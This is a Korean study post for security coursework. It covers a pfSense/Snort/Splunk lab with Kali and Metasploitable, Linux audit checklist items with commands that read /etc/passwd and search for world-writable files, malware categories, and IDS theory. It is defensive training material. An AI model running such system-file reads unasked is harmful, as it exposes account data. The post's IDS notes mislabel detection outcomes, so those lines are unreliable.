320x100

구성 환경

 


 

환경 구축 상세 계획 (이미지 구축 및 환경설정(네트워크))

 

1. Vmware 설치 후 Ubuntu 가상 환경 구축 및 Splunk 설치

  • Ubuntu VM 생성 후 Splunk 설치
  • Splunk 구성 후 로그 수집 설정

2. Metasploitable 가상 환경 및 웹 서버 구축

  • Metasploitable VM 생성
  • Victim 환경 구성

3. Kali Linux 가상 환경 구축 및 네트워크 설정

  • Kali VM 생성 후 네트워크 설정 완료

4. Pfsense를 통한 방화벽 설정

  • 방화벽 설정 및 네트워크 보안 강화

 

환경 구축 화면

 

  • 네트워크 설정

 

 

 

  • 각 OS 에 위에서 설정한 네트워크를 설정해준다.  

  • pfsense Assign interfaces & set interface IP address 

 

 

pfsense 웹 화면(방화벽)
공격자 화면
victim 웹 화면
splunk 화면

 

  • 각 OS의 라우팅 테이블에서 pfSense 설정 IP를 기반으로 기본 게이트웨이를 설정하여 상호간 포트를 개방합니다.

 

  • pfSense에 Snort 설치 후, 규칙을 다운로드하고 활성화하여 네트워크 트래픽을 모니터링 테스트합니다.

 

  • syslog-ng 설정 파일을 수정하여 Splunk를 통해 Snort 경고를 효과적으로 읽을 수 있도록 구성합니다.

  • 결과화면

 

 

 

 

 

참고링크 : https://osintteam.blog/intrusion-detection-lab-with-pf-sense-snort-splunk-953460530d86

300x250
320x100

OS,DBMS 수동진단

1. world writable

U-15 world writable 파일 점검 시스템 파일과 같은 중요 파일에 world writable 설정이 될 경우, 악의적인 사용자가 해당 파일을 마음대로 파일을 덧붙이거나 지울 수 있게 되어 시스템의 무단 접근 및 시스템 장애를 유발할 수 있습니다. 이를 방지하기 위해 world writable 파일을 이용한 시스템 접근 및 악의적인 코드 실행 권한을 변경하거나 제거해야 합니다.
  • 기타 사용자에게 권한을 주면 안된다. 타 사용자가 수정하거나 공격 대상이 될 수 있으므로

 

## U-15 (시험문제)

- 불필요한 world writable 파일 존재 여부 점검

- world writable : 타사용자에게 쓰기권한이 부여된 파일 

-  find / -type f -perm -2 -exec ls -l {} \;

    - 너무 많은 파일 검색, 절대 \ 금지

    - 실재 존재하는 파일이 아님

- proc, fs, usr/local : 반드시 분석에서 제외해야 하는 파일

- find / ! \( -path '/proc*' -o -path '/sys/fs*' -o -path '/usr/local*' -prune \) -perm -2 -type f -exec ls -al {} \;

```sh

-rw-rw-rw-. 1 root root 0 2024-08-28 14:16 /selinux/member

-rw-rw-rw-. 1 root root 0 2024-08-28 14:16 /selinux/user

-rw-rw-rw-. 1 root root 0 2024-08-28 14:16 /selinux/relabel

-rw-rw-rw-. 1 root root 0 2024-08-28 14:16 /selinux/create

-rw-rw-rw-. 1 root root 0 2024-08-28 14:16 /selinux/access

-rw-rw-rw-. 1 root root 0 2024-08-28 14:16 /selinux/context

```

- 인터뷰 필요

-

- prune : 제외

 

 

2. 계정인증 (패스워드), 명령어(어떤걸 하기 위해 무슨 명령어를 사용해야하는지) - 객관식

U-04 패스워드 파일 보호 사용자 계정의 패스워드 암호화를 관장하는 대표적인 파일은 “/etc/shadow”로써 해당 파일의 존재 유무와 실제 모든 계정이 기록되어 있는 “passwd” 파일 내 로그인이 가능한 모든 사용자 계정이 암호화 되어 있는지 확인해야 합니다.
U-03 계정 잠금 임계값 설정 "/etc/pam.d/system-auth" 설정 파일 내 임계값이 5회, 잠금 시간이 60분(3600초)으로 설정되어 있는지 확인해야 합니다. 패스워드 복잡도의 기준은 각각의 회사마다 관리하고 있는 정보보호정책  정보보호지침 의거해서 기준이 상이 할 수 있습니다.
U-02 패스워드 복잡성 설정 "/etc/pam.d/system-auth" 설정 파일 내 패스워드 복잡도가 “영문, 숫자, 특수문자”를 조합하여 최소 8자리 이상으로 설정되어 있는지 확인해야 합니다. 패스워드 복잡도의 기준은 각각의 회사마다 관리하고 있는 정보보호정책  정보보호지침 의거해서 기준이 상이 할 수 있습니다.
항목 기본 기준 : 패스워드 복잡도(영문 /소문자, 숫자, 특수문자 채택 여부), 최소 자리수
U-46 패스워드 최소 길이 설정 "/etc/login.defs" 설정 파일 내 패스워드 길이가 8자리 이상으로 설정되어 있는지 확인해야 합니다. 패스워드 복잡도의 기준은 각각의 회사마다 관리하고 있는 정보보호정책  정보보호지침 의거해서 기준이 상이 할 수 있습니다.
U-47 패스워드 최대 사용기간 설정 "/etc/login.defs" 설정 파일 내 패스워드 최대 사용기간이 90 이하로 설정되어 있는지 확인해야 합니다. 패스워드 복잡도의 기준은 각각의 회사마다 관리하고 있는 정보보호정책  정보보호지침 의거해서 기준이 상이 할 수 있습니다.
U-48 패스워드 최소 사용기간 설정 "/etc/login.defs" 설정 파일 내 패스워드 최소 사용기간이 1 이상으로 설정되어 있는지 확인해야 합니다. 패스워드 복잡도의 기준은 각각의 회사마다 관리하고 있는 정보보호정책  정보보호지침 의거해서 기준이 상이 할 수 있습니다.

passwd 파일

  • Unix/Linux 시스템에서 사용자 계정 정보와 관련된 파일
  • 이 파일에는 각 사용자의 계정 이름, 암호화된 비밀번호, 사용자 ID (UID), 그룹 ID (GID), 사용자 정보(예: 이름), 홈 디렉토리 경로, 기본 셸 등이 포함되어 있습니다.
  • 일반적으로 이 파일은 /etc/passwd 경로에 위치하며, 시스템의 사용자 관리에 중요한 역할을 합니다.
  • 보안상의 이유로 암호는 일반적으로 /etc/shadow 파일에 저장 -> 패스워드 암호화를 관장

 

주요정보통신기반시설 보고서에 따르면 passwd 권한 644 이하 일 경우 "취약" 이다.

하지만, 타 사용자도 읽기 권한이 있지만 변경을 할 수 없기 떄문에 양호 처리한다.

 

 

로그인 가능계정 리스트업

cat /etc/passwd | grep bash

 

 

U-04
bash를 입력하는 이유는 최초 로그인을 시도했다는 증거 - 실제 로그인이 가능한 계정에 대해 암호화 처리가 되어있는지 확인한다.

 

3. 파일 및 디렉토리관리 에서 특정 키워드 놓고 뭔지 권한확인 문제 - 객관식

  • 읽기 권한 (Read) : 4
  • 쓰기 권한 (Write) : 2
  • 실행 권한 (Execute) : 1
U-56 UMASK 설정 관리 잘못된 UMASK 값으로 인해 시스템 내 신규 생성 파일에 대하여 과도한 권한이 부여될 수 있으며, 이로 인한 파일의 시스템 악용 우려가 있습니다. 이를 방지하기 위해 UMASK 값을 안전한 값으로 설정해야 합니다.
UMASK 022로 설정되어 있는지 확인해야 합니다.

 

기본 권한

  1. 파일의 기본 권한: 일반적으로 새로 생성된 파일의 기본 권한은 666 (읽기 및 쓰기 권한)입니다. 실행 권한은 기본적으로 포함되지 않습니다.
  2. 디렉토리의 기본 권한: 새로 생성된 디렉토리의 기본 권한은 777 (읽기, 쓰기, 실행 권한)입니다. 이는 디렉토리의 내용을 나열하고, 파일을 추가하거나 삭제할 수 있도록 하기 위해 실행 권한이 필요하기 때문입니다.

umask

하지만 실제로 사용자가 생성하는 파일이나 디렉토리의 권한은 umask 값에 따라 영향을 받습니다. umask는 기본 권한에서 제한할 권한을 지정하는 값입니다. 예를 들어, umask가 002라면:

  • 새로 생성된 파일 권한: 666 - 002 = 664
  • 새로 생성된 디렉토리 권한: 777 - 002 = 775

 

U-05 root , 패스 디렉토리 권한 및 패스 설정 OS에서 환경변수는 시스템 환경변수“, “사용자 환경변수로 구분되어 집니다. “시스템 환경변수 OS가 부팅되어 자동으로 실행해야하는 시스템 서비스를 구동합니다. “시스템 환경변수는 운영 및 관리자가 서비스를 구현하는 과정에서 추가 Middleware 및 서비스를 구동해야하는 경우 추가로 작성하는 변수입니다. 이번 항목에서는 시스템 환경변수 전체 내용에서 맨 앞과, 중간에 “.”이 포함되어 있는지 확인해야 합니다.
echo $PATH
U-06 파일 및 디렉토리 소유자 설정 삭제된 소유자의 UID와 동일한 사용자가 해당 파일, 디렉토리에 접근 가능하여 사용자 정보 등 중요 정보가 노출될 위험이 있습니다. 추가로 소유자가 존재하지 않는 파일 및 디렉토리를 삭제 및 관리하여 임의의 사용자에 의한 불법적 행위를 사전에 차단하기 위합입니다.
U-07 /etc/passwd 파일 소유자 및 권한 설정 관리자(root) 외 사용자가 "/etc/passwd" 파일의 변조가 가능할 경우 shell 변조, 사용자 추가/삭제, root 를 포함한 사용자 권한 획득 시도 등 악의적인 행위가 가능하며, /etc/passwd 파일 변경을 통한 비인가자의 권한 상승을 막기 위함입니다
U-08 /etc/shadow 파일 소유자 및 권한 설정 /etc/shadow” 파일을 관리자(소유자 root)만 제어(400)할 수 있게 하여 비인가자들의 접근을 제한하도록 shadow 파일 소유자 및 권한을 관리해야 하며 해당 파일에 대한 권한 관리가 이루어지지 않을 시 ID 및 패스워드 정보가 외부로 노출될 수 있습니다.
U-09 /etc/hosts 파일 소유자 및 권한 설정 hosts 파일에 비인가자 쓰기 권한이 부여된 경우, 공격자는 hosts(IP, hostname)파일에 악의적인 시스템을 등록하여, 이를 통해 정상적인 DNS를 우회하여 악성사이트로의 접속을 유도하는 파밍(Pharming) 공격 등에 악용될 수 있으며, /etc/hosts 파일을 관리자(600)만 제어할 수 있게 하여 비인가자들의 임의적인 파일 변조를 방지하기 위함입니다.
U-10 /etc/(x)inetd.conf 파일 소유자 및 권한 설정 (x)inetd.conf 파일에 비인가자의 쓰기 권한이 부여되어 있을 경우, 비인가자가 악의적인 프로그램을 등록하여 root 권한으로 불법적인 서비스를 실행할 수 있습니다. 이는 방지하기 위해서는 /etc/(x)inetd.conf 파일을 관리자만 제어할 수 있게 하여 비인가자들의 임의적인 파일 변조를 방지해야 합니다.
xinetd/inetd : 인터넷슈퍼데몬(서버 내부에 xinetd 경로 내 데몬이 등록되어 있을 경우 원격지(Public망) Client가 이를 호출할 수 있게 함
U-11 /etc/syslog.conf 파일 소유자 및 권한 설정 syslog.conf 파일의 접근 권한이 적절하지 않을 경우, 임의적인 파일 변조로 인해 침입자의 흔적 또는 시스템 오류 사항을 분석하기 위해 반드시 필요한 시스템 로그가 정상적으로 기록 되지 않을 수 있습니다. 이를 방지하기 위해서/etc/syslog.conf 파일의 권한 적절성(640)을 점검하여 관리자 외 비인가자의 임의적인 syslog.conf 파일 변조를 방지해야 합니다.
U-12 /etc/services 파일 소유자 및 권한 설정 services 파일의 접근 권한이 적절하지 않을 경우 비인가 사용자가 운영 포트번호를 변경하여 정상적인 서비스를 제한하거나, 허용되지 않은 포트를 오픈하여 악성 서비스를 의도적으로 실행할 수 있습니다. 이를 방지하기 위해서 /etc/services 파일을 관리자만 제어(600)할 수 있게 해야 합니다.

U-13 SUID, SGID, Sticky bit 설정 및 권한 설정 이를 방지하기 위해서 불필요한 SUID, SGID 설정을 제거해야 합니다. (확인 필요 파일 : /sbin/dump, /sbin/restore, /sbin/unix_chkpwd, /usr/bin/at, /usr/bin/lpq, /usr/bin/lpq-lpd, /usr/bin/lpr, /usr/bin/lpr-lpd, /usr/bin/lprm, /usr/bin/lprm-lpd, /usr/bin/newgrp, /usr/sbin/lpc, /usr/sbin/lpc-lpd, /usr/sbin/traceroute)
* SUID(Set User-ID) : 설정된 파일 실행 시, 특정 작업 수행을 위하여 일시적으로 파일 소유자의 권한을 얻게 됨.
* SGID(Set Group-ID) : 설정된 파일 실행 시, 특정 작업 수행을 위하여 일시적으로 파일 소유 그룹의 권한을 얻게 됨.
U-14 사용자, 시스템 시작파일 및 환경파일 소유자 및 권한 설정 홈 디렉토리 내의 사용자 파일 및 사용자 별 시스템 시작파일 등과 같은 환경변수 파일의 접근권한 설정이 적절하지 않을 경우, 비인가자가 환경변수 파일을 변조하여 정상 사용중인 사용자의 서비스가 제한 될 수 있습니다. 이를 방지하기 위해비인가자의 환경변수 조작을 통제해야 합니다. .*_history, profile, logout, bashrc 등의 권한이 확인이 필요함
U-15 world writable 파일 점검 시스템 파일과 같은 중요 파일에 world writable 설정이 될 경우, 악의적인 사용자가 해당 파일을 마음대로 파일을 덧붙이거나 지울 수 있게 되어 시스템의 무단 접근 및 시스템 장애를 유발할 수 있습니다. 이를 방지하기 위해 world writable 파일을 이용한 시스템 접근 및 악의적인 코드 실행 권한을 변경하거나 제거해야 합니다.
U-16 /dev에 존재하지 않는 device 파일 점검 공격자는 rootkit 설정파일들을 서버 관리자가 쉽게 발견하지 못하도록 /dev  device 파일인 것처럼 위장하는 수법을 많이 사용합니다. 이를 방지하기 위해서 실제 존재하지 않는 디바이스를 찾아 제거해야 합니다.
find /dev -type f -exec ls -al {} \;
U-17 $HOME/.rhosts, hosts.equiv 사용 금지 rlogin, rsh 등과 같은 'r'command의 보안 설정이 적용되지 않은 경우, 원격지의 공격자가 관리자 권한으로 목표 시스템상의 임의의 명령을 수행시킬 수 있습니다. 이를 방지하기 위해 'r'command 사용을 통한 원격 접속은 인증 없이 관리자 원격 접속이 가능하므로 서비스 포트를 차단해야 합니다. rexec, rsh, rlogin” – 인터넷 슈퍼 데몬에서 확인 필요
U-18 접속 IP 및 포트 제한 허용할 호스트에 대한 IP  포트제한이 적용되지 않은 경우, Telnet, FTP같은 보안에 취약한 네트워크 서비스를 통하여 불법적인 접근 및 시스템 침해사고가 발생할 수 있습니다. 이를 방지하기 위해 허용한 호스트만 서비스를 사용하게 해야 합니다. /etc/hosts.deny에서는 “ALL:ALL” 설정해서 전체를 차단하고 /etc/hosts.allow에서는 호용이 필요한 사용자의 hostname, IP주소가 설정되어 있는지 확인해야 합니다.
U-55 hosts.lpd 파일 소유자 및 권한 설정 hosts.lpd 파일의 접근권한이 적절하지 않을 경우 비인가자가 /etc/hosts.lpd 파일을 수정하여 허용된 사용자의 서비스를 방해할 수 있으며, 호스트 정보를 획득 할 수 있습니다. 이를 방지하기 위해 비인가자의 임의적인 hosts.lpd 변조를 막기 위해 hosts.lpd 파일 삭제 또는 소유자 및 권한 관리를 해야 합니다.
U-56 UMASK 설정 관리 잘못된 UMASK 값으로 인해 시스템 내 신규 생성 파일에 대하여 과도한 권한이 부여될 수 있으며, 이로 인한 파일의 시스템 악용 우려가 있습니다. 이를 방지하기 위해 UMASK 값을 안전한 값으로 설정해야 합니다.
UMASK 022로 설정되어 있는지 확인해야 합니다.
U-57 홈디렉토리 소유자 및 권한 설정 홈 디렉토리 내 설정파일 변조 시 정상적인 서비스 이용이 제한될 우려가 존재합니다. 이를 방지하기 위해 사용자 홈 디렉토리 소유자 및 권한 설정을 점검해야 합니다.
소유자가 자기 자신으로 설정되어 있는지 타사용자 권한이 부여되어 있는지 확인해야 합니다.
U-58 홈디렉토리로 지정한 디렉토리의 존재 관리 사용자에게 지정된 디렉토리가 아닌 곳이 홈 디렉토리로 설정될 경우 해당 디렉토리 내 명령어 사용이 가능하며 이에 따라 시스템 관리 및 보안상 문제가 발생할 수 있습니다. 이를 방지하기 위해 /home 이외 사용자의 홈 디렉토리 존재 여부를 점검해야 합니다.

 

## U-06

- 파일 및 디렉토리 소유자 설정

- 소유자가 불분명한 파일이나 디렉토리가 존재하는지 여부를 점검

- find / -nouser -print

    - 하면 너무 많이 나옴

 

## U-09

- 파일 및 디렉토리 관리 /etc/hosts/ 파일 소유자 권한

- 소유자가 root, 권한 600

 

 

 

4. 서비스관리 안에 있는 항목 중에 아파치 문제 (난이도 중) - 객관식

U-35 Apache 디렉토리 리스팅 제거 디렉토리 검색 기능이 활성화 되어 있을 경우, WEB 서버 구조 노출뿐만 아니라 백업 파일이나 소스파일, 공개되어서는 안되는 파일 등이 노출이 가능합니다. 이를 방지하기 위해 외부에서 디렉토리 내의 모든 파일에 대한 접근 및 열람을 제한해야 합니다.
U-36 Apache 웹 프로세스 권한 제한 웹 프로세스 취약점 공격으로 Apache 권한이 탈취 당할 경우 Apache 프로세스의 권한이 root이면 시스템 전체의 제어권을 탈취 당해 피해범위가 확산될 가능성이 있습니다. 이를 방지하기 위해 Apache 데몬을 root 권한으로 구동하지 않고 별도의 권한으로 서비스하도록 설정해야 합니다.
U-37 Apache 상위 디렉토리 접근 금지 상위 경로로 이동하는 것이 가능할 경우 접근하고자 하는 디렉토리의 하위 경로에 접속하여 상위 경로로 이동함으로써 악의적인 목적을 가진 사용자의 접근이 가능하게 됩니다. 이를 방지하기 위해 상위 경로 이동 명령으로 비인가자의 특정 디렉토리에 대한 접근 및 열람을 제한해야 합니다.
U-38 Apache 불필요한 파일 제거 Apache 설치 시 htdocs 디렉토리 내에 매뉴얼 파일은 시스템 관련정보를 노출하거나 해킹에 악용될 수 있습니다. 이를 방지하기 위해 Apache 설치 시 디폴트로 설치되는 불필요한 파일을 제거해야 합니다.
U-39 Apache 링크 사용 금지 시스템 자체의 root 디렉토리(/)에 링크를 걸게 되면 웹 서버 구동 사용자 권한(nobody)으로 모든 파일 시스템의 파일에 접근할 수 있게 되어 "/etc/passwd" 파일과 같은 민감한 파일을 누구나 열람할 수 있습니다. 이를 방지하기 위해 무분별한 심볼릭 링크, aliases 사용을 제한해야 합니다.
U-40 Apache 파일 업로드 및 다운로드 제한 악의적 목적을 가진 사용자가 반복 업로드 및 웹 쉘 공격 등으로 시스템 권한을 탈취하거나 대용량 파일의 반복 업로드로 서버자원을 고갈시키는 공격의 위험이 있습니다. 이를 방지하기 위해 파일 업로드 및 다운로드를 제한해야 하지만 불가피하게 필요시 용량 사이즈를 제한해야 합니다.
U-41 Apache 웹 서비스 영역의 분리 웹 서버의 루트 디렉토리와 OS의 루트 디렉토리를 다르게 지정하지 않았을 경우, 비인가자가 웹 서비스를 통해 해킹이 성공할 경우 시스템 영역까지 접근이 가능하여 피해가 확장될 수 있습니다. 이를 방지하기 위해 웹 서비스 영역과 시스템 영역을 분리시켜야 합니다.
U-71 Apache 웹 서비스 정보 숨김 불필요한 정보가 노출될 경우 해당 정보를 이용하여 시스템의 취약점을 수집할 수 있습니다. 이를 방지하기 위해 HTTP 헤더, 에러페이지에서 웹 서버 버전 및 종류, OS 정보 등 웹 서버와 관련된 불필요한 정보가 노출되지 않도록 설정해야 합니다.

## U-36
```
[root@localhost ~]# ps -ef | grep "httpd"
root      2171     1  0 Aug28 ?        00:00:09 /usr/sbin/httpd
apache    2736  2171  0 Aug28 ?        00:00:00 /usr/sbin/httpd
apache    2737  2171  0 Aug28 ?        00:00:00 /usr/sbin/httpd
apache    2738  2171  0 Aug28 ?        00:00:00 /usr/sbin/httpd
apache    2739  2171  0 Aug28 ?        00:00:00 /usr/sbin/httpd
apache    2740  2171  0 Aug28 ?        00:00:00 /usr/sbin/httpd
apache    2741  2171  0 Aug28 ?        00:00:00 /usr/sbin/httpd
apache    2742  2171  0 Aug28 ?        00:00:00 /usr/sbin/httpd
apache    2743  2171  0 Aug28 ?        00:00:00 /usr/sbin/httpd
root      8116  8053  0 00:54 pts/0    00:00:00 grep httpd
```

- 불특정 다수가 서비스를 핸들링 함은 위험
- 필요한 권한만 허용
- root 계정은 booting script 때문에 먼저 구동

cat /etc/httpd/conf/httpd.conf | grep "User\|Group"| grep -v "#"
- 로그인이 불가능하도록 쉘 제한이 필수라는 항목에 대하여
    - cat /etc/passwd | grep apache
        - apache:x:48:48:Apache:/var/www:/sbin/nologin
        - 로그인 비허용

 

 

5. 샌드 메일 (주관식)

 

U-30 Sendmail 버전 점검 취약점이 발견된 Sendmail 버전의 경우 버퍼 오버플로우(Buffer Overflow) 공격에 의한 시스템 권한 획득 및 주요 정보 유출 가능성이 있습니다. 이를 방지하기 위해 Sendmail 서비스 사용 목적 검토 및 취약점이 없는 버전의 사용 유무를 점검해야 합니다. rpm qa | grep sendmail
U-31 스팸 메일 릴레이 제한 SMTP 서버의 릴레이 기능을 제한하지 않는 경우, 악의적인 사용목적을 가진 사용자들이 스팸메일 서버로 사용하거나 DoS공격의 대상이 될 수 있습니다. ps -ef | grep sendmail
U-32 일반사용자의 Sendmail 실행 방지 일반사용자가 q 옵션을 이용해서 메일큐, Sendmail 설정을 보거나 메일큐를 강제적으로 drop 시킬 수 있어 악의적으로 SMTP 서버의 오류를 발생시킬 수 있습니다. 일반사용자의 q 옵션을 제한하여 Sendmail 설정 및 메일큐를 강제적으로 drop 시킬 수 없게 하여 비인가자에 의한 SMTP 서비스 오류를 방지해야 합니다.
ps -ef | grep sendmail
U-68 로그온 시 경고 메시지 제공 로그인 배너가 설정되지 않을 경우 배너에 서버 OS 버전 및 서비스 버전이 공격자에게 노출될 수 있으며 공격자는 이러한 정보를 통하여 해당 OS 및 서비스의 취약점을 이용하여 공격을 시도할 수 있습니다. 이를 방지하기 위해 서버 접속 시 관계자만 접속해야 한다는 경고 메시지를 설정해야 합니다.
Banner 설정이 필요한 서비스 : ssh, telnet, named, sendmail, ftp (로그인이 가능한 데몬)
U-70 expn, vrfy 명령어 제한 VRFY, EXPN 명령어를 통하여 특정 사용자 계정의 존재유무를 알 수 있고, 사용자의 정보를 외부로 유출 할 수 있습니다. 이를 방지하기 위해 SMTP 서비스의 expn, vrfy 명령을 사용하지 못하게 옵션을 설정해야 합니다.
ps -ef | grep sendmail

 

## U-68
- 저희는 이걸 배너라고 해요
로그인을 할 때 위험성을 알려주는 것
- 목적
  - 버전정보, 어떤 플랫폼 사용하는지 노출 X
  - 사회공학적 기법 : 경고가 붙어있는데 출입한 경우는 처벌의 수위가 달라집니다.
### 로그인이 가능한 서비스
- Telnet, ssh, sendmail, postfix
- ps -ef | grep "telnet\|ssh\|sendmail\|named\|ftp"
```shell
[root@localhost ~]# ps -ef | grep "telnet\|ssh\|sendmail\|named\|ftp"
root      1887     1  0 Aug28 ?        00:00:00 /usr/sbin/sshd
root      8049  1887  0 00:43 ?        00:00:04 sshd: root@pts/0
root      8584  8053  0 04:10 pts/0    00:00:00 grep telnet\|ssh\|sendmail\|named\|ftp
[root@localhost ~]# cat /etc/motd
TEST Server 접근시 허용된 계정만 접근이 가능하며
그외 비인가된 계정은 접근하실 수 없습니다.
```
- named는 DNS 

 

## U-70
- smtp 서비스 사용시 crfy, expn 명령어 사용 금지 설정 여부 점검
- /etc/mail/sendmail.cf
  - O PrivacyOptions - (noexpn,novrfy 또는 goaway)

 

## U-42
- 시스템에서 최신 패치가 적용되어 있는지 점검
- 주요하게 CV취약점이 발생되는 데몬을추려서 버전확인 필요
### 
- openssh
- bash
- named
  - bind 취약점 발생 가능
- glibc
- 로그인 가능(인증 인가 서비스 거부 공격 가능)
  - ftp
  - sendmail
  - openssl
    - 인증서 적용을 하기 위해 필수로 필요한 패킷
    - https
###
- 현재 구성된 서버의 OS가 "CentOS 6.9" 버전으로 "XXXX년 XX월 XX일" 기준으로 EOS(End Of Service)되어 CVE 주요 취약점이 발생될 수 있는 필수 데몬(openssh, glibc, openssl 등)의 최신 패치를 적용할 수 없는 상태입니다.
- major 버전, 6.9 _ 6 이 바뀌면 업데이트 못함
- 데이터 부분 다 백업하고 서버업데이트 후 migration해야 합니다
###
- ad : active directory
  - 사용자와 컴퓨터 그룹이 존재
###
- 언제까지 조치하겠다는 내용 필수
- 심사는 올해만 하고 끝이 아니라 최초진단을 3년 이내로 다시 받게 곧 변함
- 신규 서버의 구축 완료기간, Data Migration 완료 기간을 산정해서 보안담당자에게 확인을 받고 이를 결과보고서 내 Comment로 기입해야 함

 

6. 환경분석 (주관식 난이도 상)

 

 

 

주요통신기반시설점검(관리)

 

  1. 자산 관련 (자산 위협 취약성 ? )
  2. 위험평가는 안들어감

 

정보보호 전문가

정보보호 전문가로 “기관, 기업의 정보보호 문제점을 찾아 중요한 정보자산(시스템) 안전하게 유지될 수 있도록 도와주는 일”을 하는 사람

  • 보안 시스템 운영자/관리자
  • 보안 소프트웨어 개발자
  • 보안시스템 엔지니어
  • 보안관제(침해대응, 모니터링)

정보보호 컨설턴트

  • 침해대응 전문가
  • 모의해커(화이트해커)
  • 디지털 포렌식 전문가
  • 정보보호체계 설계

정보보호 컨설턴트의 역량 

  • 관련 분야에 대한 지식
  • 문제의 분석 및 진단 능력
  • 의사소통 기술
  • 해결 및 실행력

보안 컨설팅 프로젝트는 기업, 기관의 법률 준수 의무, 보안 사고 및 이슈, 상위기관 보안감사 등의 이유로 진행

 

 

컨설턴트 무엇을 먼저 알아두어야하나?

 

1. 정보보호체계/인증제도

  • KISA ISMS_P 기준
  • ISO27001 기준

2. 정부정책 규제 방향

  • 개인정보보호법
  • 정보통신망법
  • 전자금융거래법
  • 신용정보의 이용 및 보호에 관한 법률

3. 비즈니스 형태 이해

  • 금융회사
  • 공공기관
  • 온라인쇼핑
  • 비즈니스
  • 공공기관서비스

정보보호 컨설팅 서비스 영역

  • 취약점 진단
  • 모의해킹
  • 모바일앱
  • 정보보호 관리체계
  • ISMS인증
  • ISO27001인증
  • 개인정보보호 컨설팅
  • 법률 준거성 분석

 

인터뷰 준비 및 진행 -> 현황분석(분석 Framework 만들기) -> 체크리스트 만들기 -> 착수단계 -> 중간단계 -> 종료단계 

 

 

주요정보통신기반시설

  • 민간, 공공 시설을 불문하고 침해사고 등이 발생할 경우 국가안정보장과 경제사회에 미치는 피해규모 및 범위가 큰 시설 (예: IDC, ISP, 은행, 철도, 항만, 행정, 교육 등 )
  • 국가안전보장, 행정, 통신, 금융, 의료 등 국가·사회적으로 중요한 시설을 주요정보통신기반시설로 지정·관리

주요정보통신 기반시설 취약점 분석, 평가 관련 법령

  • 기반시설지정 기준
    1. 전자적 침해행위로부터 보호가 필요하다고 인정되는 정보통신기반시설을 주요정보통신기반시설로 지정
      1. 기관이 수행하는 업무의 국가사회적 중요성
      2. 기관이 수행하는 업무의 정보통신기반시설에 대한 의존도
      3. 다른 정보통신기반시설과의 상호연계성
      4. 피해규모 및 범위
      5. 침해사고의 발생가능성 또는 그 복구의 용이성
  • 취약점 진단반 구성 및 진단
    1. 취약점을 분석, 평가하는 전담반을 구성하여야 한다.
    2. 「정보보호산업의 진흥에 관한 법률」 제23조에 따라 지정된 정보보호 전문서비스 기업

 

 

 

1. 정보보호 컨설팅 서비스 영역 > 주요정보통신 기반시설 취약점 분석 및 평가

 

취약점 분석, 평가란?

취약점 분석 평가란, 악성코드 유포, 해킹 등 사이버 위협에 대한 주요정보통신 기반시설의 취약점을 종합적으로 분석 및 평가.개선하는 일련의 과정을 말함

 

수행 주체 : 관리기관, 외부기관

* 외부기관 : 한국인터넷진흥원, 정보공유분석센터, 한국전자통신연구원, 정보보호전문 서비스 기업 등

■ 수행주기 : 1년

■ 평가대상

주요정보통신기반시설의 세부시설로 정의된 정보보호 대상 자산(정보시스템, 제어시스템)

■분석,평가 절차

1단계 : 취약점 분석,평가 계획 수립

2단계 : 취약점 분석,평가 대상 선별

3단계 : 취약점 분석 수행

4단계 : 취약점 평가 수행

 

1. 위험의 구성 요소

자산(Asset) : 조직이 보호해야할 대상으로 정보, 하드웨어, 소프트웨어, 시설 등

위협(Threats) : 자산에 손실을 초래할 수 있는 원치 않는 사건의 잠재적 원인

취약성(Vulnerability) : 자산의 잠재적 속성으로서 위협의 이용 대상이 되는 것

 

 

악성코드 분석

 

시험문제 (악성코드 행위중)

 

 

1. 악성파일, 모든 파일에서 타임스탬프는 얼마든지 조작이 가능하다. → 신뢰할 수 없다.

타임스템프 영역은 악성코드 제작자가 분석을 방해하기 위해서, text 값을 가공할 수 있다.

 

 

2. 정보유출용 악성코드 중 개인정보 악성코드 명이 뭐인가?

정보 유출을 목적으로 하는 악성코드는 여러 가지가 있지만, 대표적인 예로는 "키로거(Keylogger)", "트로이목마(Trojan)", "스파이웨어(Spyware)" 등이 있습니다. 이들은 사용자의 개인정보를 수집하거나 유출하는 데 사용됩니다.

 

 

행위에 따른 분류

  1. 스파이웨어 : 사용자환경의 브라우저 정보, 시스템정보, 뱅킹정보 등을 탈취하는 악성코드
  2. 트로이목마 : 정상 프로그램으로 위장, 악의적인 공격코드의 실행을 유도하는 악성코드

 

목적에 따른 분류

  1. 인포스틸러
    1. 시스템 정보 및 뱅킹, 브라우저 등 감염된 시스템의 정보를 수집하는 악성코드
    2. 개인의 경우 정보탈취 및 금전피해 유발, 국가 및 조직의 경우 민간정보 탈취가 주요 목적
  2. 키로거
    1. 사용자가 입력한 키 값을 가로채서 행위의 기록을 탈취하는 악성코드
    2. 사용자가 직접 입력한 기록을 가져가기 떄문에 뱅킹정보와 같은 정보를 주로 목적으로 함
  3. 랜섬웨어
    1. 파일이나 드라이브를 암호화하여 복호화를 빌미로 금전을 요구하는 악성코드
    2. 초기에는 암호화 기능만 수행하였으나, 정보탈취 DDoS등 다중협박 전략으로 피해자를 압박해 협상금액을 높이는 형태로 발전

 

3. 악성코드, 정보유출 중 개인정보나 브라우저에 PC, 쿠키 정보를 수집하는 악성코드가 무엇인가

정보유출형 ~ 쿠키 캐시를 수집하는 악성코드 명

 

스파이웨어

 

 

 

보안관제 이론

 

시험 문제

난이도 하 2 중 1 ~ 2 상 1~2

SIEM

 

방화벽 (네트워크 트래픽을 필터링) = IP/PORT,Protocol 주소 기반의 접근 차단 위주의 방어 

• OSI 7 Layer 기준 3계층 기반에서 작동(수행 범위는 3~4계층)

 

TCP Wrapper = 서비스 기반의 방어

 

IDS의 등장

  • 트래픽을 실시간으로 모니터링(미러링)
  • 공격 패턴, 시그니처를 기반으로 공격 탐지
  • 호스트 또는 네트워크를 기반으로 침입 탐지
  • 정상 트래픽 및 동작을 학습한 후 비정상 행위 탐지
  • 차단X → 탐지
  • 신호로 오탐(False positive), 정탐(False Negative)을 구분지어 발생시킨다.
  • 비정상 행위를 탐지할 수 있는 시그니처, 즉 탐지정책의 필요성 증가
  • 탐지 이후의 대응은 IDS 장비를 통해 대응이 불가능
  • IDS와 방화벽을 통해 DDoS 방어 시도

IDS의 문제점

  • DDos 공격 대응 실패
  • 탐지만 하고 차단할지 결정은 사람이 하기 때문에 오탐(False positive) 발생
  • 직접적인 공격의 차단이 불가능하다(미러링)
  • 탐지 이후의 대응은 IDS 장비를 통해 대응이 불가능
  • 2000년대 기술의 발전과 공격방식의 발전에 따라 다음 단계의 보안장비가 필요

IPS의 등장(2000년대) - IDS + packet filtering system

